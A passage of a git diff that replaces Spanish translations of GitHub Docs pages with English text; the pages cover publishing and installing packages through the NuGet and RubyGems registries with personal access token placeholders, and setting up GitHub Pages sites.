`USERNAME` (nombre de usuario) por el nombre de tu cuenta de usuario en {% data variables.product.prodname_dotcom %}. -- `TOKEN` por tu token de acceso personal. -- `OWNER` con el nombre de la cuenta de usuario o de organización a la que pertenece el repositorio que contiene tu proyecto.{% ifversion ghes or ghae %} -- `HOSTNAME` con el nombre de host de {% data variables.product.product_location %}.{% endif %} +You must replace: +- `USERNAME` with the name of your user account on {% data variables.product.prodname_dotcom %}. +- `TOKEN` with your personal access token. +- `OWNER` with the name of the user or organization account that owns the repository containing your project.{% ifversion ghes or ghae %} +- `HOSTNAME` with the host name for {% data variables.product.product_location %}.{% endif %} -{% ifversion ghes %}Si tu instancia tiene habilitado el aislamiento de subdominios: +{% ifversion ghes %}If your instance has subdomain isolation enabled: {% endif %} ```xml @@ -68,44 +68,43 @@ Debes reemplazar: ``` {% ifversion ghes %} -Por ejemplo, los proyectos *OctodogApp* y *OctocatApp* publicarán en el mismo repositorio: +If your instance has subdomain isolation disabled: ```xml - - - - Exe - netcoreapp3.0 - OctodogApp - 1.0.0 - Octodog - GitHub - This package adds an Octodog! - https://github.com/octo-org/octo-cats-and-dogs - - - + + + + + + + + + + + + + ``` {% endif %} -## Publicar un paquete +## Publishing a package You can publish a package to {% data variables.product.prodname_registry %} by authenticating with a *nuget.config* file, or by using the `--api-key` command line option with your {% data variables.product.prodname_dotcom %} personal access token (PAT). -### Publicar un paquete utilizando el PAT de GitHub como tu clave de la API +### Publishing a package using a GitHub PAT as your API key If you don't already have a PAT to use for your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)." -1. Crear un proyecto nuevo. +1. Create a new project. ```shell dotnet new console --name OctocatApp ``` -2. Empaquetar el proyecto. +2. Package the project. ```shell - dotnet pack--lanzamiento de configuración + dotnet pack --configuration Release ``` -3. Publicar el paquete utilizando tu PAT como la clave de la API. +3. Publish the package using your PAT as the API key. ```shell dotnet nuget push "bin/Release/OctocatApp.1.0.0.nupkg" --api-key YOUR_GITHUB_PAT --source "github" ``` @@ -113,20 +112,20 @@ If you don't already have a PAT to use for your account on {% ifversion ghae %}{ {% data reusables.package_registry.viewing-packages %} -### Publicar un paquete utilizando un archivo *nuget.config* +### Publishing a package using a *nuget.config* file -Al publicar, debes usar el mismo valor para `OWNER` en tu archivo *csproj* que usas en tu archivo de autenticación *nuget.config*. Especifica o incrementa el número de versión en tu archivo *.csproj* y luego usa el comando `dotnet pack` para crear un archivo *.nuspec* para esa versión. Para obtener más información sobre cómo crear tu paquete, consulta la sección "[Crear y publicar un paquete](https://docs.microsoft.com/nuget/quickstart/create-and-publish-a-package-using-the-dotnet-cli)" en la documentación de Microsoft. +When publishing, you need to use the same value for `OWNER` in your *csproj* file that you use in your *nuget.config* authentication file. Specify or increment the version number in your *.csproj* file, then use the `dotnet pack` command to create a *.nuspec* file for that version. For more information on creating your package, see "[Create and publish a package](https://docs.microsoft.com/nuget/quickstart/create-and-publish-a-package-using-the-dotnet-cli)" in the Microsoft documentation. {% data reusables.package_registry.authenticate-step %} -2. Crear un proyecto nuevo. +2. Create a new project. ```shell dotnet new console --name OctocatApp ``` -3. Agrega la información específica de tu proyecto al archivo de tu proyecto, que finaliza en *.csproj*. Debes reemplazar: - - `OWNER` por el nombre de la cuenta de usuario o de organización a la que pertenece el repositorio que contiene tu proyecto. - - `REPOSITORY` por el nombre del repositorio que contiene el paquete que deseas publicar. - - `1.0.0` con el número de versión del paquete.{% ifversion ghes or ghae %} - - `HOSTNAME` con el nombre de host de {% data variables.product.product_location %}.{% endif %} +3. Add your project's specific information to your project's file, which ends in *.csproj*. You must replace: + - `OWNER` with the name of the user or organization account that owns the repository containing your project. + - `REPOSITORY` with the name of the repository containing the package you want to publish. + - `1.0.0` with the version number of the package.{% ifversion ghes or ghae %} + - `HOSTNAME` with the host name for {% data variables.product.product_location %}.{% endif %} ``` xml @@ -143,23 +142,23 @@ Al publicar, debes usar el mismo valor para `OWNER` en tu archivo *csproj* que u ``` -4. Empaquetar el proyecto. +4. Package the project. ```shell - dotnet pack--lanzamiento de configuración + dotnet pack --configuration Release ``` -5. Publicar el paquete utilizando la `clave` que especificaste en el archivo *nuget.config*. +5. Publish the package using the `key` you specified in the *nuget.config* file. ```shell - dotnet nuget subir "bin/Release/OctocatApp. 1.0.0. nupkg"--Source "GitHub" + dotnet nuget push "bin/Release/OctocatApp.1.0.0.nupkg" --source "github" ``` {% data reusables.package_registry.viewing-packages %} -## Publicar varios paquetes en el mismo repositorio +## Publishing multiple packages to the same repository -Para publicar varios paquetes en el mismo repositorio, puedes incluir la misma URL del repositorio de {% data variables.product.prodname_dotcom %} en los campos `RepositoryURL` en todos los archivos del proyecto *.csproj*. {% data variables.product.prodname_dotcom %} coincide con el repositorio en base a ese campo. +To publish multiple packages to the same repository, you can include the same {% data variables.product.prodname_dotcom %} repository URL in the `RepositoryURL` fields in all *.csproj* project files. {% data variables.product.prodname_dotcom %} matches the repository based on that field. -Por ejemplo, los proyectos *OctodogApp* y *OctocatApp* publicarán en el mismo repositorio: +For example, the *OctodogApp* and *OctocatApp* projects will publish to the same repository: ``` xml @@ -195,13 +194,13 @@ Por ejemplo, los proyectos *OctodogApp* y *OctocatApp* publicarán en el mismo r ``` -## Instalar un paquete +## Installing a package -El uso de paquetes desde {% data variables.product.prodname_dotcom %} en tu proyecto es similar al uso de paquetes desde *nuget.org*. Agrega las dependencias de tu paquete a tu archivo *.csproj*, especificando el nombre del paquete y la versión. Para obtener más información sobre cómo utilizar un archivo *.csproj* en tu proyecto, consulta "[Trabajar con paquetes NuGet](https://docs.microsoft.com/nuget/consume-packages/overview-and-workflow)"en la documentación de Microsoft. +Using packages from {% data variables.product.prodname_dotcom %} in your project is similar to using packages from *nuget.org*. Add your package dependencies to your *.csproj* file, specifying the package name and version. For more information on using a *.csproj* file in your project, see "[Working with NuGet packages](https://docs.microsoft.com/nuget/consume-packages/overview-and-workflow)" in the Microsoft documentation. {% data reusables.package_registry.authenticate-step %} -2. Para usar un paquete, agrega `ItemGroup` y configura el campo `PackageReference` en el archivo de proyecto *.csproj*, reemplaza el paquete `OctokittenApp` por la dependencia de tu paquete y `1.0.0` por la versión que deseas usar: +2. To use a package, add `ItemGroup` and configure the `PackageReference` field in the *.csproj* project file, replacing the `OctokittenApp` package with your package dependency and `1.0.0` with the version you want to use: ``` xml @@ -223,15 +222,15 @@ El uso de paquetes desde {% data variables.product.prodname_dotcom %} en tu proy ``` -3. Instalar los paquetes con el comando `restore (restaurar)`. +3. Install the packages with the `restore` command. ```shell - restaurar dotnet + dotnet restore ``` -## Solución de problemas +## Troubleshooting -Tu paquete de NuGet podría fallar en subirse si la `RepositoryUrl` en *.csproj* no se configuró en el repositorio esperado. +Your NuGet package may fail to push if the `RepositoryUrl` in *.csproj* is not set to the expected repository . -## Leer más +## Further reading - "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" diff --git a/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md b/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md index d1e94e9783..7afbca5c42 100644 --- a/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md +++ b/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md @@ -1,6 +1,6 @@ --- -title: Trabajar con el registro de RubyGems -intro: 'Puedes configurar RubyGems para publicar un paquete para {% data variables.product.prodname_registry %} y utilizar paquetes almacenados en {% data variables.product.prodname_registry %} como dependencias en un proyecto Ruby con Bundler.' +title: Working with the RubyGems registry +intro: 'You can configure RubyGems to publish a package to {% data variables.product.prodname_registry %} and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in a Ruby project with Bundler.' product: '{% data reusables.gated-features.packages %}' redirect_from: - /articles/configuring-rubygems-for-use-with-github-package-registry @@ -13,66 +13,66 @@ versions: ghes: '*' ghae: '*' ghec: '*' -shortTitle: Registro de RubyGems +shortTitle: RubyGems registry --- {% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} -**Nota:** Cuando instalas o publicas una imagen de docker, {% data variables.product.prodname_registry %} no es compatible con capas externas, tales como imágenes de Windows. +{% data reusables.package_registry.admins-can-configure-package-types %} -## Prerrequisitos +## Prerequisites -- Debes tener RubyGems 2.4.1 o superiores. Para encontrar tu versión de RubyGems: +- You must have rubygems 2.4.1 or higher. To find your rubygems version: ```shell $ gem --version ``` -- Debes tener Bundler 1.6.4 o superiores. Para encontrar tu versión Bundler: +- You must have bundler 1.6.4 or higher. To find your Bundler version: ```shell $ bundle --version Bundler version 1.13.7 ``` -- Instala keycutter para administrar múltiples credenciales. Para instalar keycutter: +- Install keycutter to manage multiple credentials. To install keycutter: ```shell $ gem install keycutter ``` -## Autenticarte en {% data variables.product.prodname_registry %} +## Authenticating to {% data variables.product.prodname_registry %} {% data reusables.package_registry.authenticate-packages %} {% data reusables.package_registry.authenticate-packages-github-token %} -### Autenticarte con un token de acceso personal +### Authenticating with a personal access token {% data reusables.package_registry.required-scopes %} -Puedes autenticar a {% data variables.product.prodname_registry %} con RubyGems editando el archivo *~/.gem/credentials* para publicar gemas, editar el archivo *~/.gemrc* para instalar una gema única o usar Bundler para rastrear e instalar una o más gemas. +You can authenticate to {% data variables.product.prodname_registry %} with RubyGems by editing the *~/.gem/credentials* file for publishing gems, editing the *~/.gemrc* file for installing a single gem, or using Bundler for tracking and installing one or more gems. -Para publicar gemas nuevas, debes autenticarte para {% data variables.product.prodname_registry %} con RubyGems editando tu archivo *~/.gem/credentials* para incluir tu token de acceso personal. Crear un nuevo archivo *~/.gem/credentials* si este archivo no existe. +To publish new gems, you need to authenticate to {% data variables.product.prodname_registry %} with RubyGems by editing your *~/.gem/credentials* file to include your personal access token. Create a new *~/.gem/credentials* file if this file doesn't exist. -Por ejemplo, crearías o editarías un *~/.gem/credentials* para incluir lo siguiente, reemplazando *TOKEN* con tu token de acceso personal. +For example, you would create or edit a *~/.gem/credentials* to include the following, replacing *TOKEN* with your personal access token. ```shell --- :github: Bearer TOKEN ``` -To install gems, you need to authenticate to {% data variables.product.prodname_registry %} by editing the *~/.gemrc* file for your project to include `https://USERNAME:TOKEN@{% ifversion fpt or ghec %}rubygems.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/`. Debes reemplazar: - - `USERNAME` con tu nombre de usuario {% data variables.product.prodname_dotcom %}. - - `TOKEN` por tu token de acceso personal. - - `OWNER` con el nombre de la cuenta de usuario o de organización a la que pertenece el repositorio que contiene tu proyecto.{% ifversion ghes %} - - `REGISTRY-URL` con la URL para el registro de Rubygems de tu instancia. Si tu instancia cuenta con el aislamiento de subdominios habilitado, utiliza `rubygems.HOSTNAME`. Si tu instancia cuenta con el aislamiento de subdominios inhabilitado, utiliza `HOSTNAME/_registry/rubygems`. Cualquiera que sea el caso, reemplaza *HOSTNAME* con el nombre de host de tu instancia de {% data variables.product.prodname_ghe_server %}. +To install gems, you need to authenticate to {% data variables.product.prodname_registry %} by editing the *~/.gemrc* file for your project to include `https://USERNAME:TOKEN@{% ifversion fpt or ghec %}rubygems.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/`. You must replace: + - `USERNAME` with your {% data variables.product.prodname_dotcom %} username. + - `TOKEN` with your personal access token. + - `OWNER` with the name of the user or organization account that owns the repository containing your project.{% ifversion ghes %} + - `REGISTRY-URL` with the URL for your instance's Rubygems registry. If your instance has subdomain isolation enabled, use `rubygems.HOSTNAME`. If your instance has subdomain isolation disabled, use `HOSTNAME/_registry/rubygems`. In either case, replace *HOSTNAME* with the hostname of your {% data variables.product.prodname_ghe_server %} instance. {% elsif ghae %} - - `REGISTRY-URL` con la URL para el registro de Rubygems de tu instancia, `rubygems.HOSTNAME`. Reemplaza *HOTSNAME* con el nombre de host de {% data variables.product.product_location %}. + - `REGISTRY-URL` with the URL for your instance's Rubygems registry, `rubygems.HOSTNAME`. Replace *HOSTNAME* with the hostname of {% data variables.product.product_location %}. {% endif %} -Si no tienes un archivo *~/.gemrc*, crea un nuevo archivo *~/.gemrc* usando este ejemplo. +If you don't have a *~/.gemrc* file, create a new *~/.gemrc* file using this example. ```shell --- @@ -86,24 +86,24 @@ Si no tienes un archivo *~/.gemrc*, crea un nuevo archivo *~/.gemrc* usando este ``` -Para autenticar con Bundler, configura Bundler para que use tu token de acceso personal, reemplazando *USERNAME* con tu nombre de usuario de {% data variables.product.prodname_dotcom %}, *TOKEN* con tu token de acceso personal y *OWNER* con el nombre de la cuenta de usuario o de organización a la que pertenece el repositorio que contiene tu proyecto.{% ifversion ghes %} Reemplaza `REGISTRY-URL` con la URL del registro de Rubygems de tu instancia. Si tu instancia cuenta con el aislamiento de subdominios habilitado, utiliza `rubygems.HOSTNAME`. Si tu instancia cuenta con el aislamiento de subdominios inhabilitado, utiliza `HOSTNAME/_registry/rubygems`. En cualquiera de los casos, reemplaza *HOSTNAME* con el nombre de host de tu instancia de {% data variables.product.prodname_ghe_server %}.{% elsif ghae %}Reemplaza `REGISTRY-URL` con la URL del registro de Rubygems de tu instancia, `rubygems.HOSTNAME`. Reemplaza *HOTSNAME* con el nombre de host de {% data variables.product.product_location %}.{% endif %} +To authenticate with Bundler, configure Bundler to use your personal access token, replacing *USERNAME* with your {% data variables.product.prodname_dotcom %} username, *TOKEN* with your personal access token, and *OWNER* with the name of the user or organization account that owns the repository containing your project.{% ifversion ghes %} Replace `REGISTRY-URL` with the URL for your instance's Rubygems registry. If your instance has subdomain isolation enabled, use `rubygems.HOSTNAME`. If your instance has subdomain isolation disabled, use `HOSTNAME/_registry/rubygems`. In either case, replace *HOSTNAME* with the hostname of your {% data variables.product.prodname_ghe_server %} instance.{% elsif ghae %}Replace `REGISTRY-URL` with the URL for your instance's Rubygems registry, `rubygems.HOSTNAME`. Replace *HOSTNAME* with the hostname of {% data variables.product.product_location %}.{% endif %} ```shell $ bundle config https://{% ifversion fpt or ghec %}rubygems.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER USERNAME:TOKEN ``` -## Publicar un paquete +## Publishing a package -{% data reusables.package_registry.default-name %} Por ejemplo, cuando publicas `octo-gem` a la organización `octo-org`, {% data variables.product.prodname_registry %} publica la gema en el repositorio `octo-org/octo-gem`. Para obtener más información sobre la creación de tu gema, consulta "[Crear tu propia gema](http://guides.rubygems.org/make-your-own-gem/)" en la documentación de RubyGems. +{% data reusables.package_registry.default-name %} For example, when you publish `octo-gem` to the `octo-org` organization, {% data variables.product.prodname_registry %} publishes the gem to the `octo-org/octo-gem` repository. For more information on creating your gem, see "[Make your own gem](http://guides.rubygems.org/make-your-own-gem/)" in the RubyGems documentation. {% data reusables.package_registry.viewing-packages %} {% data reusables.package_registry.authenticate-step %} -2. Construye el paquete desde el *gemspec* para crear el paquete *.gem*. +2. Build the package from the *gemspec* to create the *.gem* package. ```shell gem build OCTO-GEM.gemspec ``` -3. Publica un paquete en el {% data variables.product.prodname_registry %}, reemplazando `OWNER` con el nombre de la cuenta de usuario o de organización a la que pertenece el repositorio que contiene tu proyecto y `OCTO-GEM` con el nombre de tu paquete de gemas.{% ifversion ghes %} Reemplaza `REGISTRY-URL` con la URL del registro de Rubygems de tu instancia. Si tu instancia cuenta con el aislamiento de subdominios habilitado, utiliza `rubygems.HOSTNAME`. Si tu instancia cuenta con el aislamiento de subdominios inhabilitado, utiliza `HOSTNAME/_registry/rubygems`. En cualquiera de los casos, reemplaza *HOSTNAME* con el nombre de host de tu instancia de {% data variables.product.prodname_ghe_server %}.{% elsif ghae %}Reemplaza `REGISTRY-URL` con la URL del registro de Rubygems de tu instancia, `rubygems.HOSTNAME`. Reemplaza *HOTSNAME* con el nombre de host de {% data variables.product.product_location %}.{% endif %} +3. Publish a package to {% data variables.product.prodname_registry %}, replacing `OWNER` with the name of the user or organization account that owns the repository containing your project and `OCTO-GEM` with the name of your gem package.{% ifversion ghes %} Replace `REGISTRY-URL` with the URL for your instance's Rubygems registry. If your instance has subdomain isolation enabled, use `rubygems.HOSTNAME`. If your instance has subdomain isolation disabled, use `HOSTNAME/_registry/rubygems`. In either case, replace *HOSTNAME* with the host name of your {% data variables.product.prodname_ghe_server %} instance.{% elsif ghae %} Replace `REGISTRY-URL` with the URL for your instance's Rubygems registry, `rubygems.HOSTNAME`. Replace *HOSTNAME* with the hostname of {% data variables.product.product_location %}.{% endif %} ```shell $ gem push --key github \ @@ -111,20 +111,20 @@ $ bundle config https://{% ifversion fpt or ghec %}rubygems.pkg.github.com{% els OCTO-GEM-0.0.1.gem ``` -## Publicar varios paquetes en el mismo repositorio +## Publishing multiple packages to the same repository -Para publicar múltiples gemas en el mismo repositorio, puedes incluir la URL al repositorio {% data variables.product.prodname_dotcom %} en el campo `github_repo` en `gem.metadata`. Si incluyes este campo, {% data variables.product.prodname_dotcom %} empatará el repositorio con base en este valor en vez de utilizar el nombre de la gema.{% ifversion ghes or ghae %} Reemplaza *HOSTNAME* con el nombre de host de {% data variables.product.product_location %}.{% endif %} +To publish multiple gems to the same repository, you can include the URL to the {% data variables.product.prodname_dotcom %} repository in the `github_repo` field in `gem.metadata`. If you include this field, {% data variables.product.prodname_dotcom %} matches the repository based on this value, instead of using the gem name.{% ifversion ghes or ghae %} Replace *HOSTNAME* with the host name of {% data variables.product.product_location %}.{% endif %} ```ruby gem.metadata = { "github_repo" => "ssh://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/OWNER/REPOSITORY" } ``` -## Instalar un paquete +## Installing a package -Puedes usar gemas desde {% data variables.product.prodname_registry %} al igual que usas gemas de *rubygems.org*. Necesitas autenticarte en {% data variables.product.prodname_registry %} agregando tu usuario u organización {% data variables.product.prodname_dotcom %} como el orígen en el archivo *~/.gemrc* o utilizando Bundler y editando tu *Gemfile*. +You can use gems from {% data variables.product.prodname_registry %} much like you use gems from *rubygems.org*. You need to authenticate to {% data variables.product.prodname_registry %} by adding your {% data variables.product.prodname_dotcom %} user or organization as a source in the *~/.gemrc* file or by using Bundler and editing your *Gemfile*. {% data reusables.package_registry.authenticate-step %} -1. Para Bundler, agrega tu usuario u organización {% data variables.product.prodname_dotcom %} como fuente en tu *Gemfile* para extraer gemas de esta nueva fuente. Por ejemplo, puedes agregar un bloque nuevo de `source` a tu *Gemfile*, el cual utilice el {% data variables.product.prodname_registry %} únicamente para los paquetes que especifiques, reemplazando a *GEM NAME* con el paquete que quieres instalar desde {% data variables.product.prodname_registry %} y a *OWNER* con el usuario u organización que es propietario del repositorio que contiene la gema que quieres instalar.{% ifversion ghes %} Reemplaza la `REGISTRY-URL` con la URL para tu instancia del registro de Rubigems. Si tu instancia cuenta con el aislamiento de subdominios habilitado, utiliza `rubygems.HOSTNAME`. Si tu instancia cuenta con el aislamiento de subdominios inhabilitado, utiliza `HOSTNAME/_registry/rubygems`. En cualquiera de los casos, reemplaza *HOSTNAME* con el nombre de host de tu instancia de {% data variables.product.prodname_ghe_server %}.{% elsif ghae %}Reemplaza `REGISTRY-URL` con la URL del registro de Rubygems de tu instancia, `rubygems.HOSTNAME`. Reemplaza *HOTSNAME* con el nombre de host de {% data variables.product.product_location %}.{% endif %} +1. For Bundler, add your {% data variables.product.prodname_dotcom %} user or organization as a source in your *Gemfile* to fetch gems from this new source. For example, you can add a new `source` block to your *Gemfile* that uses {% data variables.product.prodname_registry %} only for the packages you specify, replacing *GEM NAME* with the package you want to install from {% data variables.product.prodname_registry %} and *OWNER* with the user or organization that owns the repository containing the gem you want to install.{% ifversion ghes %} Replace `REGISTRY-URL` with the URL for your instance's Rubygems registry. If your instance has subdomain isolation enabled, use `rubygems.HOSTNAME`. If your instance has subdomain isolation disabled, use `HOSTNAME/_registry/rubygems`. In either case, replace *HOSTNAME* with the host name of your {% data variables.product.prodname_ghe_server %} instance.{% elsif ghae %} Replace `REGISTRY-URL` with the URL for your instance's Rubygems registry, `rubygems.HOSTNAME`. Replace *HOSTNAME* with the hostname of {% data variables.product.product_location %}.{% endif %} ```ruby source "https://rubygems.org" @@ -136,7 +136,7 @@ Puedes usar gemas desde {% data variables.product.prodname_registry %} al igual end ``` -3. Para las versiones de Bundler anteriores a 1.7.0, debes agregar una nueva `fuente` global. Para obtener más información acerca del uso de Bundler, consulta la [documentación bundler.io](http://bundler.io/v1.5/gemfile.html). +3. For Bundler versions earlier than 1.7.0, you need to add a new global `source`. For more information on using Bundler, see the [bundler.io documentation](http://bundler.io/v1.5/gemfile.html). ```ruby source "https://{% ifversion fpt or ghec %}rubygems.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER" @@ -146,11 +146,11 @@ Puedes usar gemas desde {% data variables.product.prodname_registry %} al igual gem "GEM NAME" ``` -4. Instala el paquete: +4. Install the package: ```shell $ gem install octo-gem --version "0.1.1" ``` -## Leer más +## Further reading - "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" diff --git a/translations/es-ES/content/pages/getting-started-with-github-pages/about-github-pages.md b/translations/es-ES/content/pages/getting-started-with-github-pages/about-github-pages.md index f91b09f0ad..dd40cb5a26 100644 --- a/translations/es-ES/content/pages/getting-started-with-github-pages/about-github-pages.md +++ b/translations/es-ES/content/pages/getting-started-with-github-pages/about-github-pages.md @@ -120,6 +120,12 @@ A MIME type is a header that a server sends to a browser, providing information While you can't specify custom MIME types on a per-file or per-repository basis, you can add or modify MIME types for use on {% data variables.product.prodname_pages %}. For more information, see [the mime-db contributing guidelines](https://github.com/jshttp/mime-db#adding-custom-media-types). +{% ifversion fpt %} +## Data collection + +When a {% data variables.product.prodname_pages %} site is visited, the visitor's IP address is logged and stored for security purposes, regardless of whether the visitor has signed into {% data variables.product.prodname_dotcom %} or not. For more information about {% data variables.product.prodname_dotcom %}'s security practices, see {% data variables.product.prodname_dotcom %} Privacy Statement. +{% endif %} + ## Further reading - [{% data variables.product.prodname_pages %}](https://lab.github.com/githubtraining/github-pages) on {% data variables.product.prodname_learning %} diff --git a/translations/es-ES/content/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site.md b/translations/es-ES/content/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site.md index 8cc753d3f0..3ada8ce82d 100644 --- a/translations/es-ES/content/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site.md +++ b/translations/es-ES/content/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site.md @@ -1,6 +1,6 @@ --- -title: Configurar una fuente de publicación para tu sitio de Páginas de GitHub -intro: 'Si usas la fuente de publicación predeterminada para tu sitio de {% data variables.product.prodname_pages %}, tu sitio se publicará automáticamente. You can also choose to publish your site from a different branch or folder.' +title: Configuring a publishing source for your GitHub Pages site +intro: 'If you use the default publishing source for your {% data variables.product.prodname_pages %} site, your site will publish automatically. You can also choose to publish your site from a different branch or folder.' redirect_from: - /articles/configuring-a-publishing-source-for-github-pages/ - /articles/configuring-a-publishing-source-for-your-github-pages-site @@ -14,24 +14,27 @@ versions: ghec: '*' topics: - Pages -shortTitle: Configurar la fuenta de publicción +shortTitle: Configure publishing source --- -Para obtener más información acerca de las fuentes de publicación, consulta "[Acerca de las {% data variables.product.prodname_pages %}](/articles/about-github-pages#publishing-sources-for-github-pages-sites)". +For more information about publishing sources, see "[About {% data variables.product.prodname_pages %}](/articles/about-github-pages#publishing-sources-for-github-pages-sites)." -## Elegir una fuente de publicación +## Choosing a publishing source Before you configure a publishing source, make sure the branch you want to use as your publishing source already exists in your repository. {% data reusables.pages.navigate-site-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.pages.sidebar-pages %} -3. Debajo de "{% data variables.product.prodname_pages %}", utiliza el menú desplegable de **Ninguno** o de **Rama** y selecciona una fuente de publicación. ![Menú desplegable para seleccionar una fuente de publicación](/assets/images/help/pages/publishing-source-drop-down.png) -4. Opcionalmente, utiliza el menú desplegable para seleccionar una carpeta para tu fuente de publicación. ![Menú desplegable para seleccionar una carpeta para una fuente de publicación](/assets/images/help/pages/publishing-source-folder-drop-down.png) -5. Haz clic en **Save ** (guardar). ![Botón para guardar los cambios en la configuración de la fuente de publicación](/assets/images/help/pages/publishing-source-save.png) +3. Under "{% data variables.product.prodname_pages %}", use the **None** or **Branch** drop-down menu and select a publishing source. + ![Drop-down menu to select a publishing source](/assets/images/help/pages/publishing-source-drop-down.png) +4. Optionally, use the drop-down menu to select a folder for your publishing source. + ![Drop-down menu to select a folder for publishing source](/assets/images/help/pages/publishing-source-folder-drop-down.png) +5. Click **Save**. + ![Button to save changes to publishing source settings](/assets/images/help/pages/publishing-source-save.png) -## Solución de problemas de publicación con tu sitio de {% data variables.product.prodname_pages %} +## Troubleshooting publishing problems with your {% data variables.product.prodname_pages %} site {% data reusables.pages.admin-must-push %} -If you choose the `docs` folder on any branch as your publishing source, then later remove the `/docs` folder from that branch in your repository, your site won't build and you'll get a page build error message for a missing `/docs` folder. Para obtener más información, consulta "[Solución de problemas de errores de compilación de Jekyll para los sitios de {% data variables.product.prodname_pages %}](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites#missing-docs-folder)". +If you choose the `docs` folder on any branch as your publishing source, then later remove the `/docs` folder from that branch in your repository, your site won't build and you'll get a page build error message for a missing `/docs` folder. For more information, see "[Troubleshooting Jekyll build errors for {% data variables.product.prodname_pages %} sites](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites#missing-docs-folder)." diff --git a/translations/es-ES/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md b/translations/es-ES/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md index bf9b6f31e2..8e9752d823 100644 --- a/translations/es-ES/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md +++ b/translations/es-ES/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md @@ -1,6 +1,6 @@ --- -title: Crear un sitio de Páginas de GitHub -intro: 'Puede crear un sitio de {% data variables.product.prodname_pages %} en un repositorio nuevo o existente.' +title: Creating a GitHub Pages site +intro: 'You can create a {% data variables.product.prodname_pages %} site in a new or existing repository.' redirect_from: - /articles/creating-pages-manually/ - /articles/creating-project-pages-manually/ @@ -16,12 +16,12 @@ versions: ghec: '*' topics: - Pages -shortTitle: Crear un sitio de GitHub Pages +shortTitle: Create a GitHub Pages site --- {% data reusables.pages.org-owners-can-restrict-pages-creation %} -## Crear un repositorio para tu sitio +## Creating a repository for your site {% data reusables.pages.new-or-existing-repo %} @@ -32,7 +32,7 @@ shortTitle: Crear un sitio de GitHub Pages {% data reusables.repositories.initialize-with-readme %} {% data reusables.repositories.create-repo %} -## Crear tu sitio +## Creating your site {% data reusables.pages.must-have-repo-first %} @@ -40,8 +40,8 @@ shortTitle: Crear un sitio de GitHub Pages {% data reusables.pages.navigate-site-repo %} {% data reusables.pages.decide-publishing-source %} -3. Si ya existe la fuente de publicación que elegiste, desplázate hasta la fuente de publicación. Si la fuente de publicación que elegiste no existe, crear la fuente de publicación. -4. En la raíz de la fuente de publicación, crea un archivo nuevo denominado `index.md` que contenga el contenido que quieras mostrar en la página principal de tu sitio. +3. If your chosen publishing source already exists, navigate to the publishing source. If your chosen publishing source doesn't exist, create the publishing source. +4. In the root of the publishing source, create a new file called `index.md` that contains the content you want to display on the main page of your site. {% tip %} @@ -56,16 +56,16 @@ shortTitle: Crear un sitio de GitHub Pages {% data reusables.pages.admin-must-push %} -## Pasos siguientes +## Next steps -Puedes agregar más páginas a tu sitio creando más archivos nuevos. Cada archivo estará disponible en tu sitio en la misma estructura de directorios que tu fuente de publicación. Por ejemplo, si la fuente de publicación para tu sitio de proyectos es la rama `gh-pages`, y creas un archivo nuevo denominado `/about/contact-us.md` en la rama `gh-pages`, el archivo estará disponible en {% ifversion fpt or ghec %}`https://.github.io//{% else %}`http(s):///pages///{% endif %}about/contact-us.html`. +You can add more pages to your site by creating more new files. Each file will be available on your site in the same directory structure as your publishing source. For example, if the publishing source for your project site is the `gh-pages` branch, and you create a new file called `/about/contact-us.md` on the `gh-pages` branch, the file will be available at {% ifversion fpt or ghec %}`https://.github.io//{% else %}`http(s):///pages///{% endif %}about/contact-us.html`. -También puedes agregar un tema para personalizar la apariencia de tu sitio. Para obtener más información, consulta {% ifversion fpt or ghec %}"[Agregar un tema a tu sitio de {% data variables.product.prodname_pages %} con el selector de temas](/articles/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser){% else %}"[Agregar un tema a tu sitio de {% data variables.product.prodname_pages %} con Jekyll](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll){% endif %}". +You can also add a theme to customize your site’s look and feel. For more information, see {% ifversion fpt or ghec %}"[Adding a theme to your {% data variables.product.prodname_pages %} site with the theme chooser](/articles/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser){% else %}"[Adding a theme to your {% data variables.product.prodname_pages %} site using Jekyll](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll){% endif %}." -Para personalizar aún más tu sitio, puedes usar Jekyll, un generador de sitio estático con soporte integrado para {% data variables.product.prodname_pages %}. Para obtener más información, consulta la sección "[Acerca de {% data variables.product.prodname_pages %} y de Jekyll](/articles/about-github-pages-and-jekyll)". +To customize your site even more, you can use Jekyll, a static site generator with built-in support for {% data variables.product.prodname_pages %}. For more information, see "[About {% data variables.product.prodname_pages %} and 